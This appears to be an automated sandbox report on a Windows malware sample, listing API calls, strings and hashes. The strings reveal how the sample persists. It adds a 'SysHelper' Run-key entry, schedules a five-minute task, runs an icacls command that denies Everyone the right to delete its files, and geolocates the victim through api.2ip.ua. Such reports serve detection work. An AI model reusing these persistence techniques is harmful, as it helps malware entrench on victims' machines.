Memory Dump Source

Source File: 00000001.00000002.2174987700.0000000000F91000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000001.00000002.2174965922.0000000000F90000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175015307.0000000000F93000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175041694.0000000000F94000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175067388.0000000000F96000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f90000_OmbNjE.jbxd

Similarity

API ID: AddressHandleModuleProcmemset
String ID: NtSystemDebugControl$ntdll.dll
API String ID: 3137504439-2438149413
Opcode ID: a156c07a6074714e4d187c63284602a946b8b17ea08a313ffc0b4efdd2c69aa6
Instruction ID: 591fa62cfdb6268d59b6f59b710dc47c817c892594a35ddf2472a5738f6427a8
Opcode Fuzzy Hash: a156c07a6074714e4d187c63284602a946b8b17ea08a313ffc0b4efdd2c69aa6
Instruction Fuzzy Hash: 86015B71E0020EAFEF109FA4AC85E6FBBB8FB51328F00413AF901A2150E2709A55EA51

Function 00F91DF6 Relevance: 7.5, APIs: 5, Instructions: 45stringCOMMON

Download Yara Rule

APIs

strrchr.MSVCRT ref: 00F91E0B
lstrcpy.KERNEL32(?,00000001), ref: 00F91E1C
strrchr.MSVCRT ref: 00F91E2B
lstrcmpiA.KERNEL32(?,00F94488), ref: 00F91E48
lstrlen.KERNEL32(00F94488), ref: 00F91E53

Memory Dump Source

Source File: 00000001.00000002.2174987700.0000000000F91000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000001.00000002.2174965922.0000000000F90000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175015307.0000000000F93000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175041694.0000000000F94000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175067388.0000000000F96000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f90000_OmbNjE.jbxd

Similarity

API ID: strrchr$lstrcmpilstrcpylstrlen
String ID:
API String ID: 3636361484-0
Opcode ID: 9fdbbf588bd07159db4be63e428ed5ccd8bcb3960a56fe5681eb57315bb537d9
Instruction ID: 049952d1d84d087db433c5abcd8452bc3224233c37d9144185452a57c7fd4651
Opcode Fuzzy Hash: 9fdbbf588bd07159db4be63e428ed5ccd8bcb3960a56fe5681eb57315bb537d9
Instruction Fuzzy Hash: 6601DB73D0421A6FFF106760DC49FE6779CEB04364F040076D945D2090E674AE859B90

Function 00F96014 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00F9603C
GetProcAddress.KERNEL32(00000000,00F96064), ref: 00F9604F

Strings

kernel32.dll, xrefs: 00F9603B

Memory Dump Source

Source File: 00000001.00000002.2175067388.0000000000F96000.00000040.00000001.01000000.00000004.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000001.00000002.2174965922.0000000000F90000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2174987700.0000000000F91000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175015307.0000000000F93000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175041694.0000000000F94000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f90000_OmbNjE.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: kernel32.dll
API String ID: 1646373207-1793498882
Opcode ID: b6aeec5a487f89a557da22e2218b7d8e4e75a66b33cf7091d9400db77cd42c87
Instruction ID: 6e0570dcc7741a32af8e874dbf22c3a1d1b676965dc7d2d96ce574b67b589da1
Opcode Fuzzy Hash: b6aeec5a487f89a557da22e2218b7d8e4e75a66b33cf7091d9400db77cd42c87
Instruction Fuzzy Hash: 81F0F0B15402898FEF70CFA8CC84BDE3BE4EB45720F50043AEA09CB281DB348605AB24

Analysis Process: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exePID: 1804, Parent PID: 6432COMMON

Execution Graph

Execution Coverage:	2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	34%
Total number of Nodes:	806
Total number of Limit Nodes:	91

Executed Functions

Function 00419F90 Relevance: 176.6, APIs: 65, Strings: 35, Instructions: 1565COMMON

Download Yara Rule

APIs

Part of subcall function 0040CF10: _memset.LIBCMT ref: 0040CF4A
Part of subcall function 0040CF10: InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
Part of subcall function 0040CF10: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6

GetCurrentProcess.KERNEL32 ref: 00419FC4
GetLastError.KERNEL32 ref: 00419FD2
SetPriorityClass.KERNEL32(00000000,00000080), ref: 00419FDA
GetLastError.KERNEL32 ref: 00419FE4
GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000400,?,?,00000000,008AB018,?), ref: 0041A0BB
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041A0C2
GetCommandLineW.KERNEL32(?,?), ref: 0041A161

Part of subcall function 004124E0: CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
Part of subcall function 004124E0: GetLastError.KERNEL32 ref: 00412509
Part of subcall function 004124E0: CloseHandle.KERNEL32 ref: 0041251C

Strings

--Service, xrefs: 0041A30B
x*P, xrefs: 0041ACE4
<, xrefs: 0041A67B
D:\Program Files\Mozilla Firefox\, xrefs: 0041B0A8
C:\Windows\, xrefs: 0041AE0F
D:\Program Files\Google\, xrefs: 0041B0EE
C:\Program Files\Internet Explorer\, xrefs: 0041AF73
F:\, xrefs: 0041B397
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 0041A8A0
C:\Program Files\Mozilla Firefox\, xrefs: 0041AF2D
I:\5d2860c89d774.jpg, xrefs: 0041B32F
D:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041B02E
IsNotAutoStart, xrefs: 0041A645
7P, xrefs: 0041B164
--ForNetRes, xrefs: 0041A22E
--AutoStart, xrefs: 0041A2EC
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 0041A8B6
C:\Program Files (x86)\Internet Explorer\, xrefs: 0041AEA1
D:\Program Files\Internet Explorer\, xrefs: 0041B0CB
C:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041AE5B
X1P, xrefs: 0041A485
list<T> too long, xrefs: 0041B669, 0041B673
runas, xrefs: 0041A6CE
IsNotTask, xrefs: 0041A654
IsAutoStart, xrefs: 0041A1D0, 0041A273
%username%, xrefs: 0041B283
D:\Windows\, xrefs: 0041AFF3
x2Q, xrefs: 0041A856
D:\Program Files (x86)\Google\, xrefs: 0041B085
--Task, xrefs: 0041A2CD
C:\Program Files (x86)\Google\, xrefs: 0041AEE7
D:\Program Files (x86)\Internet Explorer\, xrefs: 0041B062
C:\Program Files\Google\, xrefs: 0041AFB9
IsTask, xrefs: 0041A1EE, 0041A299
--Admin, xrefs: 0041A1B4, 0041A632

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: ErrorLast$FileInternetOpen$ClassCloseCommandCreateCurrentHandleLineModuleMutexNamePathPriorityProcessRemoveSpec_memset
String ID: IsNotAutoStart$ IsNotTask$%username%$--Admin$--AutoStart$--ForNetRes$--Service$--Task$<$C:\Program Files (x86)\Google\$C:\Program Files (x86)\Internet Explorer\$C:\Program Files (x86)\Mozilla Firefox\$C:\Program Files\Google\$C:\Program Files\Internet Explorer\$C:\Program Files\Mozilla Firefox\$C:\Windows\$D:\Program Files (x86)\Google\$D:\Program Files (x86)\Internet Explorer\$D:\Program Files (x86)\Mozilla Firefox\$D:\Program Files\Google\$D:\Program Files\Internet Explorer\$D:\Program Files\Mozilla Firefox\$D:\Windows\$F:\$I:\5d2860c89d774.jpg$IsAutoStart$IsTask$X1P$list<T> too long$runas$x*P$x2Q${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}$7P
API String ID: 2957410896-3144399390
Opcode ID: 9b5c50d6294a18cf099b6c7e176b95353e3768e69417b8150bb4c582a319d2e0
Instruction ID: ef0c4ad91a93ebed44a25fa424fadbe3f4bc75453965ff7ad5f6b92dd0de7051
Opcode Fuzzy Hash: 9b5c50d6294a18cf099b6c7e176b95353e3768e69417b8150bb4c582a319d2e0
Instruction Fuzzy Hash: 99D2F670604341ABD710EF21D895BDF77E5BF94308F00492EF48587291EB78AA99CB9B

Function 0040D240 Relevance: 58.5, APIs: 25, Strings: 8, Instructions: 702
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 0040D26C
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 0040D28F
CoCreateInstance.OLE32(004D506C,00000000,00000001,004D4FEC,?,?,00000000,000000FF), ref: 0040D2D5
VariantInit.OLEAUT32(?), ref: 0040D2F0
VariantInit.OLEAUT32(?), ref: 0040D309
VariantInit.OLEAUT32(?), ref: 0040D322
VariantInit.OLEAUT32(?), ref: 0040D33B
VariantClear.OLEAUT32(?), ref: 0040D397
VariantClear.OLEAUT32(?), ref: 0040D3A4
VariantClear.OLEAUT32(?), ref: 0040D3B1
VariantClear.OLEAUT32(?), ref: 0040D3C2
CoUninitialize.OLE32 ref: 0040D3D5

Strings

Author Name, xrefs: 0040D4C8
--Task, xrefs: 0040D8DD
RegisterTaskDefinition. Err: %X, xrefs: 0040DA11
%Y-%m-%dT%H:%M:%S, xrefs: 0040D790
Trigger1, xrefs: 0040D6FA
2030-05-02T08:00:00, xrefs: 0040D737
Time Trigger Task, xrefs: 0040D43C, 0040D973
PT5M, xrefs: 0040D5A1, 0040D66C

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit$Initialize$CreateInstanceSecurityUninitialize
String ID: %Y-%m-%dT%H:%M:%S$--Task$2030-05-02T08:00:00$Author Name$PT5M$RegisterTaskDefinition. Err: %X$Time Trigger Task$Trigger1
API String ID: 2496729271-1738591096
Opcode ID: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction ID: 4ad9c2e8017b41c765d67f99bb49247a0c13fc41f24acee5688789d455a97b09
Opcode Fuzzy Hash: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction Fuzzy Hash: 05526F70E00219DFDB10DFA8C858FAEBBB4EF49304F1481A9E505BB291DB74AD49CB95

Function 00411CD0 Relevance: 79.1, APIs: 36, Strings: 9, Instructions: 382
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
_memset.LIBCMT ref: 00411D3B
RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48
LoadLibraryW.KERNEL32(Shell32.dll,?,?), ref: 00411E99
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 00411EA5
GetCommandLineW.KERNEL32 ref: 00411EB4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 00411EBF
lstrcpyW.KERNEL32(?,00000000), ref: 00411ECE
PathFindFileNameW.SHLWAPI(?), ref: 00411EDB
UuidCreate.RPCRT4(?), ref: 00411EFC
UuidToStringW.RPCRT4(?,?), ref: 00411F14
RpcStringFreeW.RPCRT4(00000000), ref: 00411F64
PathAppendW.SHLWAPI(?,?), ref: 00411F83
CreateDirectoryW.KERNEL32(?,00000000), ref: 00411F8E
PathAppendW.SHLWAPI(?,?,?,?), ref: 0041202D
DeleteFileW.KERNEL32(?), ref: 00412036
CopyFileW.KERNEL32(?,?,00000000), ref: 0041204C
RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 0041206E
_memset.LIBCMT ref: 00412090
lstrcpyW.KERNEL32(?,005002FC), ref: 004120AA
lstrcatW.KERNEL32(?,?), ref: 004120C0
lstrcatW.KERNEL32(?," --AutoStart), ref: 004120CE
lstrlenW.KERNEL32(?), ref: 004120D7
RegSetValueExW.KERNEL32(00000000,SysHelper,00000000,00000002,?,00000000), ref: 004120F3
RegCloseKey.ADVAPI32(00000000), ref: 004120FC
_memset.LIBCMT ref: 00412120
SetLastError.KERNEL32(00000000), ref: 00412146
lstrcpyW.KERNEL32(?,icacls "), ref: 00412158
lstrcatW.KERNEL32(?,?), ref: 0041216D

Strings

SHGetFolderPathW, xrefs: 00411E9F
" /deny *S-1-1-0:(OI)(CI)(DE,DC), xrefs: 0041216F
icacls ", xrefs: 0041214C
D, xrefs: 00412128
" --AutoStart, xrefs: 00411DD1
" --AutoStart, xrefs: 004120C2
SysHelper, xrefs: 00411D5B, 004120EB
Shell32.dll, xrefs: 00411E94
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00411D06, 00412064

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: FilePath$_memsetlstrcatlstrcpy$AppendCloseCommandCreateLineOpenStringUuidValuelstrlen$AddressArgvCopyDeleteDirectoryErrorExistsFindFreeLastLibraryLoadNameProcQuery
String ID: " --AutoStart$" --AutoStart$" /deny *S-1-1-0:(OI)(CI)(DE,DC)$D$SHGetFolderPathW$Shell32.dll$Software\Microsoft\Windows\CurrentVersion\Run$SysHelper$icacls "
API String ID: 2589766509-1182136429
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 715e32bd1e023583792331b7dbf49be96a7b9f80df69a50876529e1503cb0a0b
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 51E14171D00219EBDF24DBA0DD89FEE77B8BF04304F14416AE609E6191EB786A85CF58

Function 00412220 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 116
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32 ref: 00412235
CommandLineToArgvW.SHELL32(00000000,?), ref: 00412240
PathFindFileNameW.SHLWAPI(00000000), ref: 00412248
LoadLibraryW.KERNEL32(kernel32.dll), ref: 00412256
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041226A
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00412275
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00412280
LoadLibraryW.KERNEL32(Psapi.dll), ref: 00412291
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041229F
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004122AA
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004122B5
K32EnumProcesses.KERNEL32(?,0000A000,?), ref: 004122CD
OpenProcess.KERNEL32(00000410,00000000,?), ref: 004122FE
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 00412315
K32GetModuleBaseNameW.KERNEL32(00000000,?,?,00000400), ref: 0041232C
CloseHandle.KERNEL32(00000000), ref: 00412347

Strings

kernel32.dll, xrefs: 0041224E
GetModuleBaseNameW, xrefs: 00412277, 004122AC
EnumProcessModules, xrefs: 0041226C, 004122A1
Psapi.dll, xrefs: 0041228C
EnumProcesses, xrefs: 00412264, 00412299

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: AddressProc$CommandEnumLibraryLineLoadNameProcess$ArgvBaseCloseFileFindHandleModuleModulesOpenPathProcesses
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Psapi.dll$kernel32.dll
API String ID: 3668891214-3807497772
Opcode ID: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
Instruction ID: 197cd9f83d52dd112842658ec983a676e251e24b3cd7e802a51fbc3a937a58d5
Opcode Fuzzy Hash: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
Instruction Fuzzy Hash: A3315371E0021DAFDB11AFE5DC45EEEBBB8FF45704F04406AF904E2190DA749A418FA5

Function 0040CF10 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 228
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040CF4A
InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0040CFCD
InternetCloseHandle.WININET(00000000), ref: 0040CFDA
InternetCloseHandle.WININET(00000000), ref: 0040CFDD

Strings

Microsoft Internet Explorer, xrefs: 0040CF5A
"country_code":", xrefs: 0040CFE1
https://api.2ip.ua/geo.json, xrefs: 0040CF79

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileRead_memset
String ID: "country_code":"$Microsoft Internet Explorer$https://api.2ip.ua/geo.json
API String ID: 1485416377-2962370585
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 63dc5d72282b855868e1768d03255ed744c0e271f8772f8e66d922d9032ce3a5
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 0F91B470D00218EBDF10DF90DD55BEEBBB4AF05308F14416AE4057B2C1DBBA5A89CB59

Function 00423576 Relevance: 15.3, APIs: 10, Instructions: 258
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 004235B1

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__gmtime64_s.LIBCMT ref: 0042364A
__gmtime64_s.LIBCMT ref: 00423680
__gmtime64_s.LIBCMT ref: 0042369D
__allrem.LIBCMT ref: 004236F3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0042370F
__allrem.LIBCMT ref: 00423726
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423744
__allrem.LIBCMT ref: 0042375B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423779

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit_memset
String ID:
API String ID: 1503770280-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: ab95fd8d4aa8d0004faaa41ec126efad4d06c0b8c45c9850b5361983c80b405c
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 6E7108B1B00726BBD7149E6ADC41B5AB3B8AF40729F54823FF514D6381E77CEA408798

Function 00427B0B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 7
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 00427B11

Part of subcall function 00427AD7: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,i;B,00427B16,i;B,?,00428BCA,000000FF,0000001E,00507BD0,00000008,00428B0E,i;B,i;B), ref: 00427AE6
Part of subcall function 00427AD7: GetProcAddress.KERNEL32(?,CorExitProcess), ref: 00427AF8

ExitProcess.KERNEL32 ref: 00427B1A

Strings

i;B, xrefs: 00427B0E

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID: i;B
API String ID: 2427264223-472376889
Opcode ID: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction ID: 59367741208a4d0b8125be5957acfda0e57e61d39344a7bf1a3f5abf2379cf84
Opcode Fuzzy Hash: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction Fuzzy Hash: 0DB09230404108BBCB052F52EC0A85D3F29EB003A0B408026F90848031EBB2AA919AC8

Function 0042FB64 Relevance: 3.0, APIs: 2, Instructions: 17
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__lock.LIBCMT ref: 0042FB7B

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(i;B,?,004250D7,0000000D), ref: 00428B22

__tzset_nolock.LIBCMT ref: 0042FB8E

Part of subcall function 0042FE47: __lock.LIBCMT ref: 0042FE6C
Part of subcall function 0042FE47: ____lc_codepage_func.LIBCMT ref: 0042FEB3
Part of subcall function 0042FE47: __getenv_helper_nolock.LIBCMT ref: 0042FED4
Part of subcall function 0042FE47: _free.LIBCMT ref: 0042FF07
Part of subcall function 0042FE47: _strlen.LIBCMT ref: 0042FF0E
Part of subcall function 0042FE47: __malloc_crt.LIBCMT ref: 0042FF15

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: __lock$CriticalEnterSection____lc_codepage_func__amsg_exit__getenv_helper_nolock__malloc_crt__mtinitlocknum__tzset_nolock_free_strlen
String ID:
API String ID: 1282695788-0
Opcode ID: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction ID: e2ddc43a93f61bf79f0790849a809cb79cc8f4f227a559e0d4967367be19fad2
Opcode Fuzzy Hash: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction Fuzzy Hash: 69E0BF35E41664DAD620A7A2F91B75C7570AB14329FD0D16F9110111D28EBC15C8DA2E

Function 00427F3D Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_doexit.LIBCMT ref: 00427F47

Part of subcall function 00427E0E: __lock.LIBCMT ref: 00427E1C
Part of subcall function 00427E0E: DecodePointer.KERNEL32(00507B08,0000001C,00427CFB,00423B69,00000001,00000000,i;B,00427C49,000000FF,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E5B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E6C
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E85
Part of subcall function 00427E0E: DecodePointer.KERNEL32(-00000004,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E95
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E9B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EB1
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EBC

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$Encode$__lock_doexit
String ID:
API String ID: 2158581194-0
Opcode ID: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction ID: a7e7560d2adc556c6fb323ffd13f600db444db9a7111c1ec19eeb8b3048b151f
Opcode Fuzzy Hash: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction Fuzzy Hash: ABB01271A8430C33DA113642FC03F053B0C4740B54F610071FA0C2C5E1A593B96040DD

Non-executed Functions

Function 00481920 Relevance: 121.3, APIs: 41, Strings: 28, Instructions: 587
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExA.KERNEL32(00000094), ref: 00481983
LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00481994
LoadLibraryA.KERNEL32(KERNEL32.DLL), ref: 004819A1
LoadLibraryA.KERNEL32(NETAPI32.DLL), ref: 004819AE
GetProcAddress.KERNEL32(00000000,NetStatisticsGet), ref: 004819E8
GetProcAddress.KERNEL32(?,NetApiBufferFree), ref: 004819FB
FreeLibrary.KERNEL32(?), ref: 00481AC5
GetProcAddress.KERNEL32(?,CryptAcquireContextW), ref: 00481ADB
